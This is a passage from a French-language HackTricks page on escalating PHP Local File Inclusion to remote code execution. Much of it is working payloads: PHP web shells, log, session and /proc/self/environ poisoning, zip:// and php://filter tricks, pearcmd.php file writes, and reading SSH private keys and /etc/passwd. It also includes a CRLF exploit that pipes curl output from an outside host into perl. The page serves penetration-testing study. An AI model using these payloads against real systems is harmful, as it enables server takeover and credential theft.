Envoyez un mail à un compte interne (user@localhost) contenant votre payload PHP comme <?php echo system($_REQUEST["cmd"]); ?> et essayez de l’inclure dans le mail de l’utilisateur avec un chemin comme /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Via /proc//fd/

  1. Téléversez beaucoup de shells (par exemple : 100)
  2. Inclure http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut ĂȘtre forcĂ© par brute force) et $FD le descripteur de fichier (peut aussi ĂȘtre forcĂ© par brute force)

Via /proc/self/environ

Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflĂ©tĂ© Ă  l’intĂ©rieur du fichier /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (e.g : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Pour que le fichier reste lisible, il est prĂ©fĂ©rable d’injecter dans les mĂ©tadonnĂ©es des images/doc/pdf

Par tĂ©lĂ©versement d’un fichier ZIP

Téléversez un fichier ZIP contenant un shell PHP compressé et accédez à :

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Par les sessions PHP

Vérifiez si le site utilise les sessions PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP, ces sessions sont stockées dans les fichiers /var/lib/php5/sess\[PHPSESSID]_.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Définissez le cookie sur <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utiliser la LFI pour inclure le fichier de session PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Si ssh est actif, vĂ©rifiez quel utilisateur est utilisĂ© (/proc/self/status & /etc/passwd) et essayez d’accĂ©der Ă  <HOME>/.ssh/id_rsa

Via vsftpd logs

Les logs du serveur FTP vsftpd se trouvent Ă  /var/log/vsftpd.log. Dans le cas oĂč une vulnĂ©rabilitĂ© Local File Inclusion (LFI) existe et qu’un accĂšs Ă  un serveur vsftpd exposĂ© est possible, les Ă©tapes suivantes peuvent ĂȘtre envisagĂ©es :

  1. Injectez un payload PHP dans le champ username lors du processus de login.
  2. AprĂšs l’injection, utilisez la LFI pour rĂ©cupĂ©rer les logs du serveur depuis /var/log/vsftpd.log.

Via php base64 filter (using base64)

As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with “.php”, and it would just ignore the “.” and append “php” to the base64. Here is an example payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

This writeup explique que vous pouvez utiliser php filters pour gĂ©nĂ©rer du contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez gĂ©nĂ©rer du code php arbitraire pour l’include sans avoir besoin de l’écrire dans un fichier.

LFI2RCE via PHP Filters

Via segmentation fault

TĂ©lĂ©versez un fichier qui sera stockĂ© temporairement dans /tmp, puis, dans la mĂȘme requĂȘte, provoquez une erreur de segmentation ; le fichier temporaire ne sera alors pas supprimĂ© et vous pourrez le retrouver.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Si vous trouvez une Local File Inclusion et que Nginx est placé devant PHP, vous pourriez obtenir RCE avec la technique suivante :

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Si vous trouvez une Local File Inclusion mĂȘme si vous n’avez pas de session et que session.auto_start est Off. Si vous fournissez la variable PHP_SESSION_UPLOAD_PROGRESS dans des donnĂ©es multipart POST, PHP activera la session pour vous. Vous pouvez abuser de cela pour obtenir RCE :

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Si vous trouvez une Local File Inclusion et que le serveur tourne sous Windows, vous pourriez obtenir RCE :

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, le script /usr/local/lib/phppearcmd.php existe par dĂ©faut dans les php docker images. De plus, il est possible de passer des arguments au script via l’URL car il est indiquĂ© que si un paramĂštre d’URL n’a pas de =, il doit ĂȘtre utilisĂ© comme argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Ce qui suit exploite une vuln CRLF pour obtenir RCE (d’aprùs here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Si vous trouvez une Local File Inclusion et un fichier exposant phpinfo() avec file_uploads = on, vous pouvez obtenir RCE :

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Si vous trouvez une Local File Inclusion et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure comporte des balises PHP, vous pouvez essayer de contourner cette vérification avec cette Race Condition :

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Si vous pouvez abuser de la LFI pour tĂ©lĂ©verser des fichiers temporaires et faire en sorte que le serveur fige l’exĂ©cution PHP, vous pouvez ensuite brute force les noms de fichiers pendant des heures pour trouver le fichier temporaire :

LFI2RCE via Eternal waiting

To Fatal Error

Si vous incluez l’un des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le mĂȘme fichier 2 fois pour provoquer cette erreur).

Je ne sais pas Ă  quel point c’est utile mais ça pourrait l’ĂȘtre.
MĂȘme si vous provoquez un PHP Fatal Error, les fichiers temporaires PHP uploadĂ©s sont supprimĂ©s.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks